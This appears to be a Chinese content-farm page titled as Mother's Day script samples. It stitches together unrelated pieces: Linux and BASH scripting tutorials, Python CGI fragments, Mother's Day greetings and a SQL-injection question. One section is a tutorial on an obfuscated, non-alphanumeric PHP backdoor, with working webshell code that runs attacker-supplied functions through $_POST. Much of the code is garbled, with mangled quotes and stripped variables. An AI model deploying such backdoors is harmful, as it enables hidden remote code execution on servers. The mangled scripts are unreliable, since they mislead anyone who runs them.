母亲节脚本编写范文

| 收藏本文 下载本文 作者:jing49854

下面是小编精心整理的母亲节脚本编写范文(共含10篇),希望能够帮助到大家。同时,但愿您也能像本文投稿人“jing49854”一样,积极向本站投稿分享好文章。

母亲节脚本编写范文

篇1:编写Linux脚本

以下是重启Linux下某进程的shell脚本,以tomcat进程为例:

#!/bin/shpid=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ “$pid” = “” ] ; then echo “tomcat service does not start!”else kill -9 $pid pid1=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'` if [ “$pid1” = “” ] ; then echo “Successfully kill tomcat processes: ” $pid else echo “tomcat kill process failed!” exit 1 fifirm -rf /opt/tomcat/work/*./startup.shpid2=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ “$pid2” = “” ] ; then echo “tomcat service failed to start!”else echo “tomcat service starts successfully:” $pid2fi

篇2:编写Python CGI脚本的教程

“ print ”

This page was generated by a Python CGI script.

“ print ”“

第一行声明表示这是使用 /usr/bin/python命令运行的Python脚本。”Content-Type: text/html“打印语句是必需的,这是为了让web服务器知道接受自CGI脚本的输出类型。其余的语句用来输出HTML格式的其余网页内容。

当”Submit“按钮点击,下面的网页将返回:

这个例子的要点是你可以决定哪些信息可以被CGI脚本返回。这可能包括日志文件的内容,当前登陆用户的列表,或者今天的日期。在你处理时拥有所有python库的可能性是无穷无尽的。

例子2:读取并显示用户输入的数据,并将结果显示在网页上

对于这个方案,我们将通过创建一个含有三个输入域和一个提交按钮的网页/var/www/html/page2.html开始。

Test Page 2

当”Submit“按钮点击,/var/www/cgi-bin/myscript-2.py脚本将被执行(通过action参数指定)。/var/www//html/page2.html显示在web浏览器中的图片如下所示(注意,三个输入域已经被填写好了):

/var/www/cgi-bin/myscript-2.py的内容如下:

#!/usr/bin/python import cgi form. = cgi.FieldStorage print ”Content-Type: text/html“ print ”“ print ”“ print ”

篇3:编写Python CGI脚本的教程

“ print ”

“ print ”The user entered data are:

“ print ”First Name:“ + form[”firstName“].value + ”

“ print ”Last Name:“ + form[”lastName“].value + ”

“ print ”Position:“ + form[”position“].value + ”

“ print ”

“ print ”“

正如前面提到,import cgi语句用来确保能够处理用户通过web输入表单输入的数据。web输入表单被封装在一个表单对象中,叫做cgi.FieldStorage对象。一旦开始输出,”Content-Type: text/html“是必需的,因为web服务器需要知道接受自CGI脚本的输出格式。用户输入的数据在包含form[”firstName“].value,form[”lastName“].value,和 form[”position“].value的语句中可以得到。那些中括号中的名称和/var/www/html/page2.html文本输入域中定义的名称参数一致。

当网页上的”Submit“按钮被点击,下面的网页将被返回。

这个例子的要点就是你可以很容易地读取并显示用户在web表单上输入的数据。除了以字符串的方式处理数据,你也可以用Python将用户输入的数据转化为可用于数值计算的数字。

篇4:BASH脚本编写教程Unix系统

非常好的BASH脚本编写教程 非常好的BASH脚本编写教程 这里有个老American写的 BASH脚本编写教程,非常不错,至少没接触过BASH的也能看懂! 建立一个脚本 Linux 中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行shell编程,因为bash是

非常好的BASH脚本编写教程

非常好的BASH脚本编写教程

这里有个老American写的 BASH脚本编写教程,非常不错,至少没接触过BASH的也能看懂!

建立一个脚本

Linux中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行shell编程,因为bash是免费的并且很容易使用,所以在本文中笔者所提供的脚本都是使用bash(但是在大多数情况下,这些脚本同样可以在 bash的大姐,bourne shell中运行)。

如同其他语言一样,通过我们使用任意一种文字编辑器,比如nedit、kedit、emacs、vi

等来编写我们的shell程序。

程序必须以下面的行开始(必须方在文件的第一行):

#!/bin/sh

符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。

当编辑好脚本时,如果要执行该脚本,还必须使其可执行。

要使脚本可执行:

chmod +x filename

然后,您可以通过输入: ./filename 来执行您的脚本。

注释

在进行shell编程时,以#开头的句子表示注释,直到这一行的结束。我们真诚地建议您在程序中使用注释。如果您使用了注释,那么即使相当长的时间内没有使用该脚本,您也能在很短的时间内明白该脚本的作用及工作原理。

变量

在其他编程语言中您必须使用变量。在shell编程中,所有的变量都由字符串组成,并且您不需要对变量进行声明。要赋值给一个变量,您可以这样写:

变量名=值

取出变量值可以加一个美元符号($)在变量前面:

#!/bin/sh

#对变量赋值:

a=”hello world“

# 现在打印变量a的内容:

echo ”A is:“

echo $a

在您的编辑器中输入以上内容,然后将其保存为一个文件first。之后执行chmod +x first

使其可执行,最后输入./first执行该脚本。

这个脚本将会输出:

A is:

hello world

有时候变量名很容易与其他文字混淆,比如:

num=2

echo ”this is the $numnd“

这并不会打印出”this is the 2nd“,而仅仅打印”this is the “,因为shell会去搜索变量numnd的值,但是这个变量时没有值的。可以使用花括号来告诉shell我们要打印的是num变量:

num=2

echo ”this is the $nd“

这将打印: this is the 2nd

有许多变量是系统自动设定的,这将在后面使用这些变量时进行讨论。

如果您需要处理数学表达式,那么您需要使用诸如expr等程序(见下面)。

除了一般的仅在程序内有效的shell变量以外,还有环境变量。由export关键字处理过的变量叫做环境变量。我们不对环境变量进行讨论,因为通常情况下仅仅在登录脚本中使用环境变量。

Shell命令和流程控制

在shell脚本中可以使用三类命令:

1)Unix 命令:

虽然在shell脚本中可以使用任意的unix命令,但是还是由一些相对更常用的命令。这些命令通常是用来进行文件和文字操作的。

常用命令语法及功能

echo ”some text“: 将文字内容打印在屏幕上

ls: 文件列表

wc Cl filewc -w filewc -c file: 计算文件行数计算文件中的单词数计算文件中的字符数

cp sourcefile destfile: 文件拷贝

mv oldname newname : 重命名文件或移动文件

rm file: 删除文件

grep 'pattern' file: 在文件内搜索字符串比如:grep 'searchstring' file.txt

cut -b colnum file: 指定欲显示的文件内容范围,并将它们输出到标准输出设备比如:输出每行第5个到第9个字符cut -b5-9 file.txt千万不要和cat命令混淆,这是两个完全不同的命令

cat file.txt: 输出文件内容到标准输出设备(屏幕)上

file somefile: 得到文件类型

read var: 提示用户输入,并将输入赋值给变量

sort file.txt: 对file.txt文件中的行进行排序

uniq: 删除文本文件中出现的行列比如: sort file.txt | uniq

expr: 进行数学运算Example: add 2 and 3expr 2 ”+“ 3

find: 搜索文件比如:根据文件名搜索find . -name filename -print

tee: 将数据输出到标准输出设备(屏幕) 和文件比如:somecommand | tee outfile

basename file: 返回不包含路径的文件名比如: basename /bin/tux将返回 tux

dirname file: 返回文件所在路径比如:dirname /bin/tux将返回 /bin

head file: 打印文本文件开头几行

tail file : 打印文本文件末尾几行

sed: Sed是一个基本的查找替换程序。可以从标准输入(比如命令管道)读入文本,并将结果输出到标准输出(屏幕)。该命令采用正则表达式(见参考)进行搜索。不要和shell中的通配符相混淆。比如:将linuxfocus 替换为 LinuxFocus :cat text.file | sed 's/linuxfocus/LinuxFocus/' >newtext.file

awk: awk 用来从文本文件中提取字段。缺省地,字段分割符是空格,可以使用-F指定其他分割符。cat file.txt | awk -F, '{print ”,“ }'这里我们使用,作为字段分割符,同时打印第一个和第三个字段。如果该文件内容如下: Adam Bor, 34, IndiaKerry Miller, 22, USA命令输出结果为:Adam Bor, IndiaKerry Miller, USA

2) 概念: 管道, 重定向和 backtick

这些不是系统命令,但是他们真的很重要。

管道 (|) 将一个命令的输出作为另外一个命令的输入。

grep ”hello“ file.txt | wc -l

在file.txt中搜索包含有”hello”的行并计算其行数。

在这里grep命令的输出作为wc命令的输入。当然您可以使用多个命令。

重定向:将命令的结果输出到文件,而不是标准输出(屏幕)。

>写入文件并覆盖旧文件

>>加到文件的尾部,保留旧文件内容。

反短斜线

使用反短斜线可以将一个命令的输出作为另外一个命令的一个命令行参数。

命令:

find . -mtime -1 -type f -print

用来查找过去24小时(-mtime C2则表示过去48小时)内修改过的文件。如果您想将所有查找到的文件打一个包,则可以使用以下脚本:

#!/bin/sh

# The ticks are backticks (`) not normal quotes ('):

tar -zcvf lastmod.tar.gz `find . -mtime -1 -type f -print`

3) 流程控制

”if“ 表达式 如果条件为真则执行then后面的部分:

if ....; then

....

elif ....; then

....

else

....

fi

大多数情况下,可以使用测试命令来对条件进行测试。比如可以比较字符串、判断文件是否存在及是否可读等等…

通常用” [ ] “来表示条件测试。注意这里的空格很重要。要确保方括号的空格。

[ -f ”somefile“ ] :判断是否是一个文件

[ -x ”/bin/ls“ ] :判断/bin/ls是否存在并有可执行权限

[ -n ”$var“ ] :判断$var变量是否有值

[ ”$a“ = ”$b“ ] :判断$a和$b是否相等

执行man test可以查看所有测试表达式可以比较和判断的类型。

直接执行以下脚本:

#!/bin/sh

if [ ”$SHELL“ = ”/bin/bash“ ]; then

echo ”your login shell is the bash (bourne again shell)“

else

echo ”your login shell is not bash but $SHELL“

fi

变量$SHELL包含了登录shell的名称,我们和/bin/bash进行了比较。

快捷操作符

熟悉C语言的朋友可能会很喜欢下面的表达式:

[ -f ”/etc/shadow“ ] && echo ”This computer uses shadow passwors“

这里 && 就是一个快捷操作符,如果左边的表达式为真则执行右边的语句。您也可以认为是逻辑运算中的与操作。上例中表示如果/etc/shadow文件存在则打印” This computer uses shadow passwors”。同样或操作(||)在shell编程中也是可用的。这里有个例子:

#!/bin/sh

mailfolder=/var/spool/mail/james

[ -r ”$mailfolder“ ]' '{ echo ”Can not read $mailfolder“ ; exit 1; }

echo ”$mailfolder has mail from:“

grep ”^From “ $mailfolder

该脚本首先判断mailfolder是否可读。如果可读则打印该文件中的”From“ 一行。如果不可读则或操作生效,打印错误信息后脚本退出。这里有个问题,那就是我们必须有两个命令:

-打印错误信息

-退出程序

我们使用花括号以匿名函数的形式将两个命令放到一起作为一个命令使用。一般函数将在下文提及。

不用与和或操作符,我们也可以用if表达式作任何事情,但是使用与或操作符会更便利很多。

case表达式可以用来匹配一个给定的字符串,而不是数字。

case ... in

...) do something here ;;

esac

让我们看一个例子。 file命令可以辨别出一个给定文件的文件类型,比如:

file lf.gz

这将返回:

lf.gz: gzip compressed data, deflated, original filename,

last modified: Mon Aug 27 23:09:18 , os: Unix

我们利用这一点写了一个叫做smartzip的脚本,该脚本可以自动解压bzip2, gzip 和zip 类型的压缩文件:

#!/bin/sh

ftype=`file ”“`

case ”$ftype“ in

”: Zip archive“*)

unzip ”“ ;;

”: gzip compressed“*)

gunzip ”“ ;;

”: bzip2 compressed“*)

bunzip2 ”“ ;;

*) error ”File can not be uncompressed with smartzip“;;

esac

您可能注意到我们在这里使用了一个特殊的变量。该变量包含了传递给该程序的第一个参数值。也就是说,当我们运行:

smartzip articles.zip

就是字符串 articles.zip

select 表达式是一种bash的扩展应用,尤其擅长于交互式使用。用户可以从一组不同的值中进行选择。

select var in ... ; do

break

done

.... now $var can be used ....

下面是一个例子:

#!/bin/sh

echo ”What is your favourite OS?“

select var in ”Linux“ ”Gnu Hurd“ ”Free BSD“ ”Other“; do

break

done

echo ”You have selected $var“

下面是该脚本运行的结果:

What is your favourite OS?

1) Linux

2) Gnu Hurd

3) Free BSD

4) Other

#? 1

You have selected Linux

您也可以在shell中使用如下的loop表达式:

while ...; do

....

done

while-loop 将运行直到表达式测试为真。will run while the expression that we test for is true. 关键字”break“ 用来跳出循环。而关键字”continue”用来不执行余下的部分而直接跳到下一个循环。

for-loop表达式查看一个字符串列表 (字符串用空格分隔) 然后将其赋给一个变量:

for var in ....; do

....

done

在下面的例子中,将分别打印ABC到屏幕上:

#!/bin/sh

for var in A B C ; do

echo ”var is $var“

done

下面是一个更为有用的脚本showrpm,其功能是打印一些RPM包的统计信息:

#!/bin/sh

# list a content summary of a number of RPM packages

# USAGE: showrpm rpmfile1 rpmfile2 ...

# EXAMPLE: showrpm /cdrom/RedHat/RPMS/*.rpm

for rpmpackage in $*; do

if [ -r ”$rpmpackage“ ];then

echo ”=============== $rpmpackage ==============“

rpm -qi -p $rpmpackage

else

echo ”ERROR: cannot read file $rpmpackage“

fi

done

这里出现了第二个特殊的变量$*,该变量包含了所有输入的命令行参数值。如果您运行showrpm openssh.rpm w3m.rpm webgrep.rpm

此时 $* 包含了 3 个字符串,即openssh.rpm, w3m.rpm and webgrep.rpm.

引号

在向程序传递任何参数之前,程序会扩展通配符和变量。这里所谓扩展的意思是程序会把通配符(比如*)替换成合适的文件名,它变量替换成变量值。为了防止程序作这种替换,您可以使用引号:让我们来看一个例子,假设在当前目录下有一些文件,两个jpg文件, mail.jpg 和tux.jpg。

#!/bin/sh

echo *.jpg

这将打印出”mail.jpg tux.jpg“的结果。

引号 (单引号和双引号) 将防止这种通配符扩展:

#!/bin/sh

echo ”*.jpg“

echo '*.jpg'

这将打印”*.jpg“ 两次。

单引号更严格一些。它可以防止任何变量扩展。双引号可以防止通配符扩展但允许变量扩展。

#!/bin/sh

echo $SHELL

echo ”$SHELL“

echo '$SHELL'

运行结果为:

/bin/bash

/bin/bash

$SHELL

最后,还有一种防止这种扩展的方法,那就是使用转义字符――反斜杆:

echo *.jpg

echo $SHELL

这将输出:

*.jpg

$SHELL

Here documents

当要将几行文字传递给一个命令时,here documents(译者注:目前还没有见到过对该词适合的翻译)一种不错的方法,

对每个脚本写一段帮助性的文字是很有用的,此时如果我们四有那个 here documents就不必用echo函数一行行输出。 一个 ”Here document“ 以 << 开头,后面接上一个字符串,这个字符串还必须出现在here document的末尾。下面是一个例子,在该例子中,我们对多个文件进行重命名,并且使用here documents打印帮助:

#!/bin/sh

# we have less than 3 arguments. Print the help text:

if [ $# -lt 3 ] ; then

cat <

ren -- renames a number of files using sed regular expressions

USAGE: ren 'regexp' 'replacement' files...

EXAMPLE: rename all *.HTM files in *.html:

ren 'HTM$' 'html' *.HTM

HELP

exit 0

fi

LD=”“

NEW=”“

# The shift command removes one argument from the list of

# command line arguments.

shift

shift

# $* contains now all the files:

for file in $*; do

if [ -f ”$file“ ] ; then

newfile=`echo ”$file“ | sed ”s/$/$/g“`

if [ -f ”$newfile“ ]; then

echo ”ERROR: $newfile exists already“

else

echo ”renaming $file to $newfile ...“

mv ”$file“ ”$newfile“

fi

fi

done

这是一个复杂一些的例子。让我们详细讨论一下。第一个if表达式判断输入命令行参数是否小于3个 (特殊变量$# 表示包含参数的个数) 。如果输入参数小于3个,则将帮助文字传递给cat命令,然后由cat命令将其打印在屏幕上。打印帮助文字后程序退出。如果输入参数等于或大于3个,我们就将第一个参数赋值给变量OLD,第二个参数赋值给变量NEW。下一步,我们使用shift命令将第一个和第二个参数从参数列表中删除,这样原来的第三个参数就成为参数列表$*的第一个参数。然后我们开始循环,命令行参数列表被一个接一个地被赋值给变量$file。接着我们判断该文件是否存在,如果存在则通过sed命令搜索和替换来产生新的文件名。然后将反短斜线内命令结果赋值给newfile。这样我们就达到了我们的目的:得到了旧文件名和新文件名。然后使用mv命令进行重命名。

函数

如果您写了一些稍微复杂一些的程序,您就会发现在程序中可能在几个地方使用了相同的代码,并且您也会发现,如果我们使用了函数,会方便很多。一个函数是这个样子的:

functionname

{

# inside the body is the first argument given to the function

# the second ...

body

}

您需要在每个程序的开始对函数进行声明。

下面是一个叫做xtitlebar的脚本,使用这个脚本您可以改变终端窗口的名称。这里使用了一个叫做help的函数。正如您可以看到的那样,这个定义的函数被使用了两次。

#!/bin/sh

# vim: set sw=4 ts=4 et:

help()

{

cat <

xtitlebar -- change the name of an xterm, gnome-terminal or kde konsole

USAGE: xtitlebar [-h] ”string_for_titelbar“

OPTIONS: -h help text

EXAMPLE: xtitlebar ”cvs“

HELP

exit 0

}

# in case of error or if -h is given we call the function help:

[ -z ”“ ] && help

[ ”“ = ”-h“ ] && help

# send the escape sequence to change the xterm titelbar:

echo -e ”33]0;7“

#

在脚本中提供帮助是一种很好的编程习惯,这样方便其他用户(和您)使用和理解脚本。

命令行参数

我们已经见过$* 和 , ... 等特殊变量,这些特殊变量包含了用户从命令行输入的参数。迄今为止,我们仅仅了解了一些简单的命令行语法(比如一些强制性的参数和查看帮助的-h选项)。但是在编写更复杂的程序时,您可能会发现您需要更多的自定义的选项。通常的惯例是在所有可选的参数之前加一个减号,后面再加上参数值 (比如文件名)。

有好多方法可以实现对输入参数的分析,但是下面的使用case表达式的例子无遗是一个不错的方法。

#!/bin/sh

help()

{

cat <

This is a generic command line parser demo.

USAGE EXAMPLE: cmdparser -l hello -f -- -somefile1 somefile2

HELP

exit 0

}

while [ -n ”“ ]; do

case in

-h) help;shift 1;; # function help is called

-f) opt_f=1;shift 1;; # variable opt_f is set

-l) opt_l=;shift 2;; # -l takes an argument ->shift by 2

--) shift;break;; # end of options

-*) echo ”error: no such option . -h for help“;exit 1;;

*) break;;

esac

done

echo ”opt_f is $opt_f“

echo ”opt_l is $opt_l“

echo ”first arg is “

echo ”2nd arg is “

您可以这样运行该脚本:

cmdparser -l hello -f -- -somefile1 somefile2

返回的结果是:

opt_f is 1

opt_l is hello

first arg is -somefile1

2nd arg is somefile2

这个脚本是如何工作的呢?脚本首先在所有输入命令行参数中进行循环,将输入参数与case表达式进行比较,如果匹配则设置一个变量并且移除该参数。根据unix系统的惯例,首先输入的应该是包含减号的参数。

实例

一般编程步骤

现在我们来讨论编写一个脚本的一般步骤。任何优秀的脚本都应该具有帮助和输入参数。并且写一个伪脚本(framework.sh),该脚本包含了大多数脚本都需要的框架结构,是一个非常不错的主意。这时候,在写一个新的脚本时我们只需要执行一下copy命令:

cp framework.sh myscript

然后再插入自己的函数。

让我们再看两个例子:

二进制到十进制的转换

脚本 b2d 将二进制数 (比如 1101) 转换为相应的十进制数。这也是一个用expr命令进行数学运算的例子:

#!/bin/sh

# vim: set sw=4 ts=4 et:

help()

{

cat <

b2h -- convert binary to decimal

USAGE: b2h [-h] binarynum

OPTIONS: -h help text

EXAMPLE: b2h 111010

will return 58

HELP

exit 0

}

error()

{

# print an error and exit

echo ”“

exit 1

}

lastchar()

{

# return the last character of a string in $rval

if [ -z ”“ ]; then

# empty string

rval=”“

return

fi

# wc puts some space behind the output this is why we need sed:

numofchar=`echo -n ”“ | wc -c | sed 's/ //g' `

# now cut out the last char

rval=`echo -n ”“ | cut -b $numofchar`

}

chop()

{

# remove the last character in string and return it in $rval

if [ -z ”“ ]; then

# empty string

rval=”“

return

fi

# wc puts some space behind the output this is why we need sed:

numofchar=`echo -n ”“ | wc -c | sed 's/ //g' `

if [ ”$numofchar“ = ”1“ ]; then

# only one char in string

rval=”“

return

fi

numofcharminus1=`expr $numofchar ”-“ 1`

# now cut all but the last char:

rval=`echo -n ”“ | cut -b 0-$`

}

while [ -n ”“ ]; do

case in

-h) help;shift 1;; # function help is called

--) shift;break;; # end of options

-*) error ”error: no such option . -h for help“;;

*) break;;

esac

done

# The main program

sum=0

weight=1

# one arg must be given:

[ -z ”“ ] && help

binnum=”“

binnumorig=”“

while [ -n ”$binnum“ ]; do

lastchar ”$binnum“

if [ ”$rval“ = ”1“ ]; then

sum=`expr ”$weight“ ”+“ ”$sum“`

fi

# remove the last position in $binnum

chop ”$binnum“

binnum=”$rval“

weight=`expr ”$weight“ ”*“ 2`

done

echo ”binary $binnumorig is decimal $sum“

#

该脚本使用的算法是利用十进制和二进制数权值 (1,2,4,8,16,..),比如二进制”10“可以这样转换成十进制:

0 * 1 + 1 * 2 = 2

为了得到单个的二进制数我们是用了lastchar 函数。该函数使用wc Cc计算字符个数,然后使用cut命令取出末尾一个字符。Chop函数的功能则是移除最后一个字符。

文件循环程序

或许您是想将所有发出的邮件保存到一个文件中的人们中的一员,但是在过了几个月以后,这个文件可能会变得很大以至于使对该文件的访问速度变慢。下面的脚本rotatefile 可以解决这个问题。这个脚本可以重命名邮件保存文件(假设为outmail)为outmail.1,而对于outmail.1就变成了outmail.2 等等等等...

#!/bin/sh

# vim: set sw=4 ts=4 et:

ver=”0.1“

help()

{

cat <

rotatefile -- rotate the file name

USAGE: rotatefile [-h] filename

OPTIONS: -h help text

EXAMPLE: rotatefile out

This will e.g rename out.2 to out.3, out.1 to out.2, out to out.1

and create an empty out-file

The max number is 10

version $ver

HELP

exit 0

}

error()

{

echo ”“

exit 1

}

while [ -n ”“ ]; do

case in

-h) help;shift 1;;

--) break;;

-*) echo ”error: no such option . -h for help“;exit 1;;

*) break;;

esac

done

# input check:

if [ -z ”“ ] ; then

error ”ERROR: you must specify a file, use -h for help“

fi

filen=”“

# rename any .1 , .2 etc file:

for n in 9 8 7 6 5 4 3 2 1; do

if [ -f ”$filen.$n“ ]; then

p=`expr $n + 1`

echo ”mv $filen.$n $filen.$p“

mv $filen.$n $filen.$p

fi

done

# rename the original file:

if [ -f ”$filen“ ]; then

echo ”mv $filen $filen.1“

mv $filen $filen.1

fi

echo touch $filen

touch $filen

这个脚本是如何工作的呢?在检测用户提供了一个文件名以后,我们进行一个9到1的循环。文件9被命名为10,文件8重命名为9等等。循环完成之后,我们将原始文件命名为文件1同时建立一个与原始文件同名的空文件。

调试

最简单的调试命令当然是使用echo命令。您可以使用echo在任何怀疑出错的地方打印任何变量值。这也是绝大多数的shell程序员要花费80%的时间来调试程序的原因。Shell程序的好处在于不需要重新编译,插入一个echo命令也不需要多少时间。

shell也有一个真实的调试模式。如果在脚本”strangescript“ 中有错误,您可以这样来进行调试:

sh -x strangescript

这将执行该脚本并显示所有变量的值。

shell还有一个不需要执行脚本只是检查语法的模式。可以这样使用:

sh -n your_script

这将返回所有语法错误。

我们希望您现在可以开始写您自己的shell脚本,希望您玩得开心。

原文转自:www.ltesting.net

篇5:关于shell脚本编写代码格式的一个细节

因为初学shell脚本编写,对其格式不是很清楚,今天写了一段脚本,练笔,发现一些问题,如下:

其中定义了一个输入变量 YES_OR_NO,

按照脚本定义的规则,当其值等于yes,则输出,

you input:yes

U r a sea man!welcome you!

当其值等于no,其值为

you input no

U r not a sea man,please exit this system

但是当脚本编写后,给脚本赋予可执行权限并编译

执行后输入结果yes

屏幕输出结果如下:

没有得到想要的结果,在第4行报错,

关于shell脚本编写代码格式的一个细节

考虑到有可能是条件格式的问题,因此将条件前后各个变量与括号用空格隔开如下:

编译执行后

yes

www.dnzg.cn

输入no测试

返回的还是yes的值。

所以最后,将条件格式更改为:

输入no,输出结果为:

输入yes,输出结果为

搞定,成功!

通过这个例子说明,在编写shell脚本的过程中,各个变量以及常量和描述的间距及整体的格式有时候也非常讲究,如果不注意,可能会影响程序的运行,而造成不必要的纠错开销。

以下这个例子所有代码,若有雷同,敬谅!

篇6:如何用 Shell 脚本编写递归程序Unix系统

UNIX Shell 脚本类似 DOS 的批处理命令,但比较起来 UNIX Shell 的功能更强大,在某些方面,Shell 甚至超过了一些高级语言, 下边的 Shell 脚本演示了如何用 Shell 脚本编写递归程序。 运行前先执行下述准备命令: ??ln tree.sh /usr/bin/tree ??ln tree

UNIX Shell 脚本类似 DOS 的批处理命令,但比较起来 UNIX Shell 的功能更强大,在某些方面,Shell 甚至超过了一些高级语言。

下边的 Shell 脚本演示了如何用 Shell 脚本编写递归程序。

运行前先执行下述准备命令:

??ln tree.sh /usr/bin/tree

??ln tree.sh /usr/bin/wtree

??ln tree.sh /usr/bin/dtree

??rm tree.sh

# tree.sh

# Depth first Directory list

dtree {

PWD=`pwd|sed 's/\/\$//`

for d in $*

do

echo ”${PWD}/$d“

[ -d ”$d“ -a -x ”$d“ ] && {

cd ”$d“

dtree *

cd ..

PWD=`pwd|sed 's/\/\$//` # restore PWD

}

done

}

# Depth first Directory list

wtree() {

PWD=`pwd|sed 's/\/\$//`

for d in $*

do

echo ${PWD}/$d

done

for d in $*

do

[ -d ”$d“ -a -x ”$d“ ] && {

cd $d

wtree *

cd ..

}

done

}

# Directory list

tree() {

PWD=`pwd|sed 's/\/\$//`

for d in $*

do

echo ${PWD}/$d

done

}

# main

TREE=`basename $0`

if [ ”$1“ ]

then DIR=”$1“

else DIR=”.“

fi

if cd $DIR

then $TREE *

else echo ”$0: Directory $1 read fail.“

fi

# (End)

原文转自:www.ltesting.net

篇7:编写真诚的母亲节短信祝福语

全世界的母亲多么的相象,她们的心始终一样。,每一个母亲都有一颗极为纯真的赤子之心,为了报答母亲节我们一起来祝福,祝福妈妈永远幸福快乐!

比天空高远的是人的心灵,比高山大气的是人的胸襟,比海水深沉的是你的母爱。妈妈,母亲节来了,让我向你致以真挚的祝福,祝你节日快乐,万事顺意!

风中带着母亲您的微笑,雨中带着母亲您的温暖,我享受着微笑和温暖,却忘了微笑和温暖背后您的辛酸,母亲节了,妈妈,真心祝福您!

生命中的第一次啼哭,第一次摔倒,每一次欢笑,每一次折难,都离不开母亲的呵护与陪伴让我们虔诚祁福,祝愿我们的母亲福寿安康母亲节快乐!

母爱原来是一杯酒,饮了就化作思念。妈妈我永远惦记您!轻轻一声问安,将我心中的祝福化作阳光般的温暖,永恒地留在您心中。祝您母亲节快乐!

风儿载着我的思念,云儿传递我的叮咛,阳光聚焦我的关切,雨丝串起我的祝福。天气阴晴不定,温度冷热起伏,母亲节来临之际,愿我的母亲每天好心情!

风雨中我慢慢长大,岁月里你满头白发,在外面我深深牵挂,说声爱您是我永恒的表达,母亲节就是为了见证您的伟大,祝福您节日愉快,身体安康。

无论是草是宝,您都待孩儿好。辛苦劳累,魂牵梦绕,挂心孩儿寒饥暖饱;无微不至,不求回报,只图孩儿平安到老。永远爱您,妈妈,祝您母亲节快乐。

用质朴的语言表达心声,用贴心的关怀温暖亲情,用温馨的话语打动心弦,用真挚的情感传递祝福。母亲节到了,愿天下母亲幸福健康!

世上您最好,我是您的宝;就打我从小,给您添烦恼;为了我过好,天天把夜熬;今天一大早,向您表个孝;只愿伺候您到老,愿您母亲节快乐。

母爱是滂沱大雨中的一把伞,母爱是寒冷中的一碗热汤面,母爱是粗糙的大手,母爱是甜甜的笑脸。明天母亲节,祝母亲开心快乐,幸福常伴!

生命如此奇妙,感觉真是美妙;血脉共呼共吸,两人相依相靠;为你真心欢喜,祝福及时赶到。祝你无限好“孕”,且把快乐拥抱。准妈妈,母亲节快乐!

母亲节到了,祝您老身体健康,吃嘛嘛香;吉祥如意,做嘛嘛顺。愿您老事事顺心,时时舒心,年年安心,天天开心,永葆童心。

人生最美的东西之一就是母爱,我很满足,因为我一直拥有这最美丽的母爱,伴随着我的成才。妈妈,今天是你的节日,祝你每天都开开心心、健健康康!

再苦再累也愿意,再委屈再疲惫也愿意,因为母亲永远把我们当作挚爱的孩子。母亲节到了,为了母亲的微笑,发条信息祝福,让温暖直达母亲心底吧!

篇8:编写变态的(非字母数字的)PHP后门脚本安全

在这篇文章中,我将向大家介绍如何编写一个非字母数字的PHP后门,在编写这种PHP后门的时候,我们首先需要了解一些基础知识:

(1)了解PHP    (2)了解curl或者其他一些能够操作HTTP请求的工具

还有一点需要大家了解的是PHP中异或(^)的概念。对于异或,大家肯定都有所了解,但是平常能用到的地方可能不多,最起码本人不经常使用(勿喷)。之所以在这里强调一下异或的概念,是因为异或在这种非字母数字的PHP后门中经常使用并且非常重要。

先来看下面一段代码:

<?php    echo”A“^”}“;?>

运行这段代码,那么输出的结果是字符”<“,之所以会得到这样的结果,是因为代码中对字符”A“和字符”}“进行了异或操作。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。异或操作有时也被用来交换两个变量的值。

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php    $_++;$__=”<“^”}“;$__(”stuff“);?>

看到这段代码,大家或许会觉得很疑惑,下面我简单的来解释一下:

(1)$_++;这行代码的意思是对变量名为”_“的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

(2)$__=”<“^”}“;对字符”<“和”}“进行异或运算,得到结果A赋给变量名为”__“(两个下划线)的变量

(3)$__(”stuff“);通过上面的赋值操作,变量$__的值为A,所以这行可以看作是A(”stuff“),在PHP中,这行代码表示调用函数A,但是由于程序中并未定义函数A,所以这行代码会抛出一个致命错误使程序停止运行。这行代码没什么实际的意义,但是它能简单体现出在PHP中,我们可以将字符串当作函数来处理。

文章进行到这里,大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。如果你依然迷惑,那说明本菜鸟的文章写的不好,先说声抱歉了,但是还是希望你别骂我。

上面的那段示例代码最后会出错,导致程序停止运行,当然写出一个出错的程序并不是我们的目的,使用这种后门的主要目的是创建一些可以绕过检测的并且对我们有用的字符串,如_POST”, “system”, “call_user_func_array”,或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

<?php@$_++;// $_ = 1$__=(“#”^“|”);// $__ = _$__.=(“.”^“~”);// _P$__.=(“/”^“`”);// _PO$__.=(“|”^“/”);// _POS$__.=(“{”^“/”);// _POST${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);?>

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=(“#”^“|”).(“.”^“~”).(“/”^“`”).(“|”^“/”).(“{”^“/”);

按照文章最开始的讲解对代码进行分析,我们知道这是一个可以进行函数调用的PHP后门,

希望这篇文章能给大家带来一些帮助。

最后,没有最后!

篇9:do all things in php(注入利用程序编写)脚本安全

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下,

结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)

